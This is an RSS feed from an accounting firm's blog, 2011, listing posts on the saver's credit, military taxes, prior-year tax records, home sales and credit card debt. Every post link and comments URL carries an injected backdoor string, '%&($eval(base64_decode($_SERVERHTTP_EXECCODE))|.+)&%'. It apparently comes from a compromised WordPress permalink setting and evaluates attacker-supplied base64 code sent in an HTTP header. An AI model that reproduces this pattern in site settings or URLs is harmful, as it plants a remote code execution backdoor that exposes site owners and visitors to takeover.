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	<title>First Capital Advisors, LLC</title>
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	<link>http://www.fcallc.biz/blog</link>
	<description>Accounting, Bookkeeping, Tax, &#38; Payroll Solutions</description>
	<lastBuildDate>Sat, 31 Dec 2011 09:21:44 +0000</lastBuildDate>
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		<title>The Saver&#8217;s Credit and You</title>
		<link>http://www.fcallc.biz/blog/2011/12/31/the-savers-credit-and-you/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/12/31/the-savers-credit-and-you/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 31 Dec 2011 09:21:44 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[Taxes]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=316</guid>
		<description><![CDATA[Low to moderate income individuals still have a chance to take advantage of the savers credit for 2011. The savers credit is a great motivator for saving for retirement. Those who can claim the credit must meet the flowing criteria: • Married couples filing jointly with incomes up to $56,500 in 2011; • Heads of [...]]]></description>
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		<title>Taxes and the Military</title>
		<link>http://www.fcallc.biz/blog/2011/11/18/taxes-and-the-military/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/11/18/taxes-and-the-military/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 19 Nov 2011 00:07:45 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Taxes]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=311</guid>
		<description><![CDATA[As with anything else, it’s vital for military personnel to understand their tax rights and benefits.  Too often many tax benefits are overlooked because military personnel are not aware of their rights.  Among these are: Unreimbursed expenses related to moving can be deducted. For more information refer to IRS Publication 3, Armed Forces’ Tax Guide. [...]]]></description>
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		<title>How to Obtain Prior Year Tax Information</title>
		<link>http://www.fcallc.biz/blog/2011/10/18/how-to-obtain-prior-year-tax-information/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/10/18/how-to-obtain-prior-year-tax-information/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 18 Oct 2011 22:40:08 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[loans]]></category>
		<category><![CDATA[mortgage]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Taxes]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=308</guid>
		<description><![CDATA[Many people often need prior year tax records for various reasons.  Some of these reasons include loan applications or other legal matters.  Often people don’t know how to obtain this information or that the information is even available.   Taxpayers can make a request to get free copies by going on line, through the mail, or [...]]]></description>
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		<title>What Makes You Feel Rich?</title>
		<link>http://www.fcallc.biz/blog/2011/09/15/what-makes-you-feel-rich/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/09/15/what-makes-you-feel-rich/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 16 Sep 2011 02:28:15 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[credit cards]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=303</guid>
		<description><![CDATA[I recently read an article about what makes people feel rich.  Immediately, I started to think about myself and my current financial situation.  I am not a millionaire.  I do not have rich parents and I have a 9 to 5 like most of the population.   Sometimes my 9 to 5 feels like a 9 [...]]]></description>
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		<title>Selling Your Home? Here’s what the IRS wants you to know.</title>
		<link>http://www.fcallc.biz/blog/2011/08/21/selling-your-home-here%e2%80%99s-what-the-irs-wants-you-to-know/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/08/21/selling-your-home-here%e2%80%99s-what-the-irs-wants-you-to-know/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 21 Aug 2011 09:41:49 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[Taxes]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=297</guid>
		<description><![CDATA[If you are in the process of selling your home, it’s very important that you know the tax implications involved:  If you have owned and used your home as your primary residence for two years out of the five years prior to the date of its sale you do not have to report the gain [...]]]></description>
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		<title>Students: Make the most of your summer job.</title>
		<link>http://www.fcallc.biz/blog/2011/07/16/students-make-the-most-of-your-summer-job/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/07/16/students-make-the-most-of-your-summer-job/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 17 Jul 2011 03:24:07 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[employment]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=293</guid>
		<description><![CDATA[This summer, many students will be taking on summer jobs.  However, many are unaware of the tax consequences involved with employment.  Additionally, many students fail to establish a savings goal.  For example: 1. Form W-4, Employee’s Withholding Allowance Certificate must be completed.  Employers use this form in order to withhold taxes from your paycheck.  The [...]]]></description>
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		<slash:comments>0</slash:comments>
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		<title>Don’t let credit card debt get you down</title>
		<link>http://www.fcallc.biz/blog/2011/06/25/don%e2%80%99t-let-credit-card-debt-get-you-down/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/06/25/don%e2%80%99t-let-credit-card-debt-get-you-down/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 25 Jun 2011 20:43:12 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[credit cards]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[personal finance]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=288</guid>
		<description><![CDATA[So you have a lot of credit card debt?  So what now?  Many people find themselves in this situation and feel helpless and hopeless.  The key is to not give up.  There are many resources out there to help you. Among them are: &#160; Credit counseling: There are several nonprofit agencies out there dedicated to [...]]]></description>
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		<slash:comments>0</slash:comments>
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		<title>To transfer or not to transfer</title>
		<link>http://www.fcallc.biz/blog/2011/05/25/to-transfer-or-not-to-transfer-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/05/25/to-transfer-or-not-to-transfer-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 25 May 2011 20:11:12 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[personal finance]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=285</guid>
		<description><![CDATA[Credit card balance transfers are very common.  We usually think we are getting a good deal if we are offered a zero percent APR balance transfer.  This is a great offer.  However, too often we fail to think about the long term effects of a credit card balance transfer. For example, can you avoid incurring [...]]]></description>
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		<title>A New Way to Save</title>
		<link>http://www.fcallc.biz/blog/2011/04/28/a-new-way-to-save-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/04/28/a-new-way-to-save-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 28 Apr 2011 11:27:07 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[Taxes]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=277</guid>
		<description><![CDATA[Many people have already discovered this great new way to save.  What is it you may ask?  Tax time is a great time to save because many people receive refunds.  In 2010 President Obama created the tax time Savings Bond Program.  The program gives tax payers the opportunity to put away part of their refunds [...]]]></description>
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		<slash:comments>0</slash:comments>
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		<title>What are your barriers to saving?</title>
		<link>http://www.fcallc.biz/blog/2011/03/01/what-are-your-barriers-to-saving/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/03/01/what-are-your-barriers-to-saving/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 01 Mar 2011 00:00:57 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[credit cards]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[credit card payment]]></category>
		<category><![CDATA[retirement]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=266</guid>
		<description><![CDATA[             I came across this great article on Americasaves.org.  Many people have difficulty saving for one reason or another.  In this article, the writer shares some great tips to help and encourage people to save. The topics that she discusses are listed below: Does the Cost of Living Keep You from Saving? Do You Find [...]]]></description>
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